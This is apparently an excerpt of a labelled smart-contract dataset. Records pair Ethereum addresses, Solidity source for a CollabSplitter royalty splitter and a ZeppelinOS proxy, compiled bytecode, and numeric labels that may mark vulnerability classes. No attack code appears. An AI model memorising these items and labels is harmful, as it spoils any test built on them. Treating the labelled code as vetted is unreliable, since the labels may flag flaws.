8463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561171057600080fd5b505af1158015611724573d6000803e3d6000fd5b50505050611738565b61173782826123c7565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179757600080fd5b6014821015156117a657600080fd5b6032811015156117b557600080fd5b816003819055506117d4600954600a0a8261272f90919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000600a60149054906101000a900460ff161561196b57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561192957600080fd5b505af115801561193d573d6000803e3d6000fd5b505050506040513d602081101561195357600080fd5b81019080805190602001909291905050509050611978565b611975838361276a565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ff57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611bb357806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1357600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c6b57600080fd5b611c74826112ba565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b604060048101600036905010151515611d5257600080fd5b60008214158015611de057506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b151515611dec57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b6000806000606060048101600036905010151515611ef457600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350611f9c612710611f8e6003548861272f90919063ffffffff16565b6127f190919063ffffffff16565b9250600454831115611fae5760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84101561206a57611fe9858561280c90919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61207d838661280c90919063ffffffff16565b91506120d185600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280c90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061216682600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156123105761222583600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156123e257600080fd5b61240b6127106123fd6003548761272f90919063ffffffff16565b6127f190919063ffffffff16565b925060045483111561241d5760045492505b612430838561280c90919063ffffffff16565b915061248484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251982600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008311156126c3576125d883600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282590919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b60008060008414156127445760009150612763565b828402905082848281151561275557fe5b0414151561275f57fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008082848115156127ff57fe5b0490508091505092915050565b600082821115151561281a57fe5b818303905092915050565b600080828401905083811015151561283957fe5b80915050929150505600a165627a7a723058206af36a560feee62b958ab00b4ba8833edea4436d362c68f8cf68cf60c0bd484a0029
[ 17 ]
0xf2262ee96F2914BCeBc8DDDE1c7cf68e1C5D0424
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProofUpgradeable { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } //SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import '@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; /// @title CollabSplitterFactory /// @author Simon Fremaux (@dievardump) contract CollabSplitter is Initializable { event ETHClaimed(address operator, address account, uint256 amount); event ERC20Claimed( address operator, address account, uint256 amount, address token ); struct ERC20Data { uint256 totalReceived; uint256 lastBalance; } // string public name; bytes32 public merkleRoot; // keeps track of how much was received in ETH since the start uint256 public totalReceived; // keeps track of how much an account already claimed ETH mapping(address => uint256) public alreadyClaimed; // keeps track of ERC20 data mapping(address => ERC20Data) public erc20Data; // keeps track of how much an account already claimed for a given ERC20 mapping(address => mapping(address => uint256)) private erc20AlreadyClaimed; function initialize(bytes32 merkleRoot_) external initializer { merkleRoot = merkleRoot_; } receive() external payable { totalReceived += msg.value; } /// @notice Does claimETH and claimERC20 in one call /// @param account the account we want to claim for /// @param percent the allocation for this account | 2 decimal basis, meaning 1 = 100, 2.5 = 250 etc... /// @param merkleProof the merkle proof used to ensure this claim is legit /// @param erc20s the ERC20 contracts addresses to claim from function claimBatch( address account, uint256 percent, bytes32[] memory merkleProof, address[] memory erc20s ) public { require( MerkleProofUpgradeable.verify( merkleProof, merkleRoot, getNode(account, percent) ), 'Invalid proof.' ); _claimETH(account, percent); for (uint256 i; i < erc20s.length; i++) { _claimERC20(account, percent, erc20s[i]); } } /// @notice Allows to claim the ETH for an account /// @param account the account we want to claim for /// @param percent the allocation for this account | 2 decimal basis, meaning 1 = 100, 2.5 = 250 etc... /// @param merkleProof the merkle proof used to ensure this claim is legit function claimETH( address account, uint256 percent, bytes32[] memory merkleProof ) public { require( MerkleProofUpgradeable.verify( merkleProof, merkleRoot, getNode(account, percent) ), 'Invalid proof.' ); _claimETH(account, percent); } /// @notice Allows to claim an ERC20 for an account /// @dev To be able to do so, every time a claim is asked, we will compare both current and last known /// balance for this contract, allowing to keep up to date on how much it has ever received /// then we can calculate the full amount due to the account, and substract the amount already claimed /// @param account the account we want to claim for /// @param percent the allocation for this account | 2 decimal basis, meaning 1% = 100, 2.5% = 250 etc... /// @param merkleProof the merkle proof used to ensure this claim is legit /// @param erc20s the ERC20 contracts addresses to claim from function claimERC20( address account, uint256 percent, bytes32[] memory merkleProof, address[] memory erc20s ) public { require( MerkleProofUpgradeable.verify( merkleProof, merkleRoot, getNode(account, percent) ), 'Invalid proof.' ); for (uint256 i; i < erc20s.length; i++) { _claimERC20(account, percent, erc20s[i]); } } /// @notice Function to create the "node" in the merkle tree, given account and allocation /// @param account the account /// @param percent the allocation /// @return the bytes32 representing the node / leaf function getNode(address account, uint256 percent) public pure returns (bytes32) { return keccak256(abi.encode(account, percent)); } /// @notice Helper allowing to know how much ETH is still claimable for a list of accounts /// @param accounts the account to check for /// @param percents the allocation for this account function getBatchClaimableETH( address[] memory accounts, uint256[] memory percents ) public view returns (uint256[] memory) { uint256[] memory claimable = new uint256[](accounts.length); for (uint256 i; i < accounts.length; i++) { claimable[i] = _calculateDue( totalReceived, percents[i], alreadyClaimed[accounts[i]] ); } return claimable; } /// @notice Helper allowing to know how much of an ERC20 is still claimable for a list of accounts /// @param accounts the account to check for /// @param percents the allocation for this account /// @param token the token (ERC20 contract) to check on function getBatchClaimableERC20( address[] memory accounts, uint256[] memory percents, address token ) public view returns (uint256[] memory) { ERC20Data memory data = erc20Data[token]; uint256 balance = IERC20(token).balanceOf(address(this)); uint256 sinceLast = balance - data.lastBalance; // the difference between last claim and today's balance is what has been received as royalties // so we can add it to the total received data.totalReceived += sinceLast; uint256[] memory claimable = new uint256[](accounts.length); for (uint256 i; i < accounts.length; i++) { claimable[i] = _calculateDue( data.totalReceived, percents[i], erc20AlreadyClaimed[accounts[i]][token] ); } return claimable; } /// @notice Helper to query how much an account already claimed for a list of tokens /// @param account the account to check for /// @param tokens the tokens addresses /// use address(0) to query for nativ chain token function getBatchClaimed(address account, address[] memory tokens) public view returns (uint256[] memory) { uint256[] memory claimed = new uint256[](tokens.length); for (uint256 i; i < tokens.length; i++) { if (tokens[i] == address(0)) { claimed[i] = alreadyClaimed[account]; } else { claimed[i] = erc20AlreadyClaimed[account][tokens[i]]; } } return claimed; } /// @dev internal function to claim ETH /// @param account the account we want to claim for /// @param percent the allocation for this account | 2 decimal basis, meaning 1% = 100, 2.5% = 250 etc... function _claimETH(address account, uint256 percent) internal { if (totalReceived == 0) return; uint256 dueNow = _calculateDue( totalReceived, percent, alreadyClaimed[account] ); if (dueNow == 0) return; // update the already claimed first, blocking reEntrancy alreadyClaimed[account] += dueNow; // send the due; // @TODO: .call{}() calls with all gas left in the tx // Question: Should we limit the gas used here?! // It has to be at least enough for contracts (Gnosis etc...) to proxy and store (bool success, ) = account.call{value: dueNow}(''); require(success, 'Error when sending ETH'); emit ETHClaimed(msg.sender, account, dueNow); } /// @dev internal function to claim an ERC20 /// @param account the account we want to claim for /// @param percent the allocation for this account | 2 decimal basis, meaning 1% = 100, 2.5% = 250 etc... /// @param erc20 the ERC20 contract to claim from function _claimERC20( address account, uint256 percent, address erc20 ) internal { ERC20Data storage data = erc20Data[erc20]; uint256 balance = IERC20(erc20).balanceOf(address(this)); uint256 sinceLast = balance - data.lastBalance; // the difference between last known balance and today's balance is what has been received as royalties // so we can add it to the total received data.totalReceived += sinceLast; // now we can calculate how much is due to current account the same way we do for ETH if (data.totalReceived == 0) return; uint256 dueNow = _calculateDue( data.totalReceived, percent, erc20AlreadyClaimed[account][erc20] ); if (dueNow == 0) return; // update the already claimed first erc20AlreadyClaimed[account][erc20] += dueNow; // transfer the dueNow require( IERC20(erc20).transfer(account, dueNow), 'Error when sending ERC20' ); // update the lastBalance, so we can recalculate next time // we could save this call by doing (balance - dueNow) but some ERC20 might have weird behavior // and actually make the balance different than this after the transfer // so for safety, reading the actual state again data.lastBalance = IERC20(erc20).balanceOf(address(this)); // emitting an event will allow to identify claimable ERC20 in TheGraph // to be able to display them in the UI and keep stats emit ERC20Claimed(msg.sender, account, dueNow, erc20); } /// @dev Helpers that calculates how much is still left to claim /// @param total total received /// @param percent allocation /// @param claimed what was already claimed /// @return what is left to claim function _calculateDue( uint256 total, uint256 percent, uint256 claimed ) internal pure returns (uint256) { return (total * percent) / 10000 - claimed; } }
0x6080604052600436106100ab5760003560e01c8063c04a926c11610064578063c04a926c1461019c578063e4d861e3146101e5578063ec31543814610205578063ee50600214610225578063f26a4d8614610245578063f54b893b1461026557600080fd5b80632eb4a7ab146100ce57806367e6bd33146100f75780639498bd711461011957806399c1c391146101395780639c38566a14610166578063a3c2c4621461018657600080fd5b366100c95734600260008282546100c29190610e13565b9091555050005b600080fd5b3480156100da57600080fd5b506100e460015481565b6040519081526020015b60405180910390f35b34801561010357600080fd5b50610117610112366004610f1d565b610292565b005b34801561012557600080fd5b50610117610134366004610f74565b6102dc565b34801561014557600080fd5b50610159610154366004610fef565b610395565b6040516100ee9190611053565b34801561017257600080fd5b50610117610181366004611097565b610486565b34801561019257600080fd5b506100e460025481565b3480156101a857600080fd5b506101d06101b7366004611115565b6004602052600090815260409020805460019091015482565b604080519283526020830191909152016100ee565b3480156101f157600080fd5b506100e4610200366004611137565b6104fc565b34801561021157600080fd5b50610159610220366004611161565b610539565b34801561023157600080fd5b506101596102403660046111d5565b610722565b34801561025157600080fd5b50610117610260366004611097565b610873565b34801561027157600080fd5b506100e4610280366004611115565b60036020526000908152604090205481565b6102a8816001546102a386866104fc565b6108df565b6102cd5760405162461bcd60e51b81526004016102c490611219565b60405180910390fd5b6102d7838361098e565b505050565b600054610100900460ff16806102f5575060005460ff16155b6103585760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016102c4565b600054610100900460ff1615801561037a576000805461ffff19166101011790555b60018290558015610391576000805461ff00191690555b5050565b60606000835167ffffffffffffffff8111156103b3576103b3610e47565b6040519080825280602002602001820160405280156103dc578160200160208202803683370190505b50905060005b845181101561047e5761044f60025485838151811061040357610403611241565b60200260200101516003600089868151811061042157610421611241565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610ae4565b82828151811061046157610461611241565b60209081029190910101528061047681611257565b9150506103e2565b509392505050565b610497826001546102a387876104fc565b6104b35760405162461bcd60e51b81526004016102c490611219565b60005b81518110156104f5576104e385858484815181106104d6576104d6611241565b6020026020010151610b10565b806104ed81611257565b9150506104b6565b5050505050565b604080516001600160a01b038416602082015290810182905260009060600160405160208183030381529060405280519060200120905092915050565b6001600160a01b0381166000818152600460208181526040808420815180830183528154815260019091015492810192909252516370a0823160e01b815230928101929092526060939092916370a082319060240160206040518083038186803b1580156105a657600080fd5b505afa1580156105ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105de9190611272565b905060008260200151826105f2919061128b565b905080836000018181516106069190610e13565b905250865160009067ffffffffffffffff81111561062657610626610e47565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8851811015610716576106e7856000015189838151811061067857610678611241565b6020026020010151600560008d868151811061069657610696611241565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008b6001600160a01b03166001600160a01b0316815260200190815260200160002054610ae4565b8282815181106106f9576106f9611241565b60209081029190910101528061070e81611257565b915050610655565b50979650505050505050565b60606000825167ffffffffffffffff81111561074057610740610e47565b604051908082528060200260200182016040528015610769578160200160208202803683370190505b50905060005b835181101561047e5760006001600160a01b031684828151811061079557610795611241565b60200260200101516001600160a01b031614156107ea576001600160a01b03851660009081526003602052604090205482518390839081106107d9576107d9611241565b602002602001018181525050610861565b6001600160a01b0385166000908152600560205260408120855190919086908490811061081957610819611241565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205482828151811061085457610854611241565b6020026020010181815250505b8061086b81611257565b91505061076f565b610884826001546102a387876104fc565b6108a05760405162461bcd60e51b81526004016102c490611219565b6108aa848461098e565b60005b81518110156104f5576108cd85858484815181106104d6576104d6611241565b806108d781611257565b9150506108ad565b600081815b855181101561098357600086828151811061090157610901611241565b60200260200101519050808311610943576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250610970565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061097b81611257565b9150506108e4565b509092149392505050565b600254610999575050565b6002546001600160a01b03831660009081526003602052604081205490916109c2918490610ae4565b9050806109ce57505050565b6001600160a01b038316600090815260036020526040812080548392906109f6908490610e13565b90915550506040516000906001600160a01b0385169083908381818185875af1925050503d8060008114610a46576040519150601f19603f3d011682016040523d82523d6000602084013e610a4b565b606091505b5050905080610a955760405162461bcd60e51b815260206004820152601660248201527508ae4e4dee440eed0cadc40e6cadcc8d2dcce408aa8960531b60448201526064016102c4565b604080513381526001600160a01b03861660208201529081018390527f81bfb395a613b7b5eeaec6ac330051b8b723aa455649a52ecd5d0784b95c69d29060600160405180910390a150505050565b600081612710610af485876112a2565b610afe91906112c1565b610b08919061128b565b949350505050565b6001600160a01b038116600081815260046020819052604080832090516370a0823160e01b8152309281019290925292906370a082319060240160206040518083038186803b158015610b6257600080fd5b505afa158015610b76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9a9190611272565b90506000826001015482610bae919061128b565b905080836000016000828254610bc49190610e13565b90915550508254610bd757505050505050565b82546001600160a01b0380881660009081526005602090815260408083209389168352929052908120549091610c0e918890610ae4565b905080610c1e5750505050505050565b6001600160a01b03808816600090815260056020908152604080832093891683529290529081208054839290610c55908490610e13565b909155505060405163a9059cbb60e01b81526001600160a01b0388811660048301526024820183905286169063a9059cbb90604401602060405180830381600087803b158015610ca457600080fd5b505af1158015610cb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdc91906112e3565b610d285760405162461bcd60e51b815260206004820152601860248201527f4572726f72207768656e2073656e64696e67204552433230000000000000000060448201526064016102c4565b6040516370a0823160e01b81523060048201526001600160a01b038616906370a082319060240160206040518083038186803b158015610d6757600080fd5b505afa158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f9190611272565b6001850155604080513381526001600160a01b0389811660208301528183018490528716606082015290517f822b4e6114037904f67e04cff177cc3a751233291f67bc377196c46a5560fceb9181900360800190a150505050505050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610e2657610e26610dfd565b500190565b80356001600160a01b0381168114610e4257600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610e8657610e86610e47565b604052919050565b600067ffffffffffffffff821115610ea857610ea8610e47565b5060051b60200190565b600082601f830112610ec357600080fd5b81356020610ed8610ed383610e8e565b610e5d565b82815260059290921b84018101918181019086841115610ef757600080fd5b8286015b84811015610f125780358352918301918301610efb565b509695505050505050565b600080600060608486031215610f3257600080fd5b610f3b84610e2b565b925060208401359150604084013567ffffffffffffffff811115610f5e57600080fd5b610f6a86828701610eb2565b9150509250925092565b600060208284031215610f8657600080fd5b5035919050565b600082601f830112610f9e57600080fd5b81356020610fae610ed383610e8e565b82815260059290921b84018101918181019086841115610fcd57600080fd5b8286015b84811015610f1257610fe281610e2b565b8352918301918301610fd1565b6000806040838503121561100257600080fd5b823567ffffffffffffffff8082111561101a57600080fd5b61102686838701610f8d565b9350602085013591508082111561103c57600080fd5b5061104985828601610eb2565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561108b5783518352928401929184019160010161106f565b50909695505050505050565b600080600080608085870312156110ad57600080fd5b6110b685610e2b565b935060208501359250604085013567ffffffffffffffff808211156110da57600080fd5b6110e688838901610eb2565b935060608701359150808211156110fc57600080fd5b5061110987828801610f8d565b91505092959194509250565b60006020828403121561112757600080fd5b61113082610e2b565b9392505050565b6000806040838503121561114a57600080fd5b61115383610e2b565b946020939093013593505050565b60008060006060848603121561117657600080fd5b833567ffffffffffffffff8082111561118e57600080fd5b61119a87838801610f8d565b945060208601359150808211156111b057600080fd5b506111bd86828701610eb2565b9250506111cc60408501610e2b565b90509250925092565b600080604083850312156111e857600080fd5b6111f183610e2b565b9150602083013567ffffffffffffffff81111561120d57600080fd5b61104985828601610f8d565b6020808252600e908201526d24b73b30b634b210383937b7b31760911b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561126b5761126b610dfd565b5060010190565b60006020828403121561128457600080fd5b5051919050565b60008282101561129d5761129d610dfd565b500390565b60008160001904831182151516156112bc576112bc610dfd565b500290565b6000826112de57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156112f557600080fd5b8151801515811461113057600080fdfea2646970667358221220d6d6b7485ee37de6a742723c2995fc5ba9be4d963a1237ede4efa57aff57959364736f6c63430008090033
[ 7, 9, 12 ]
0xf2262f092063cd19050f7e037cbf6401b58e9035
pragma solidity ^0.4.24; // File: zos-lib/contracts/upgradeability/Proxy.sol /** * @title Bearable * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } // File: zos-lib/contracts/upgradeability/UpgradeabilityProxy.sol /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 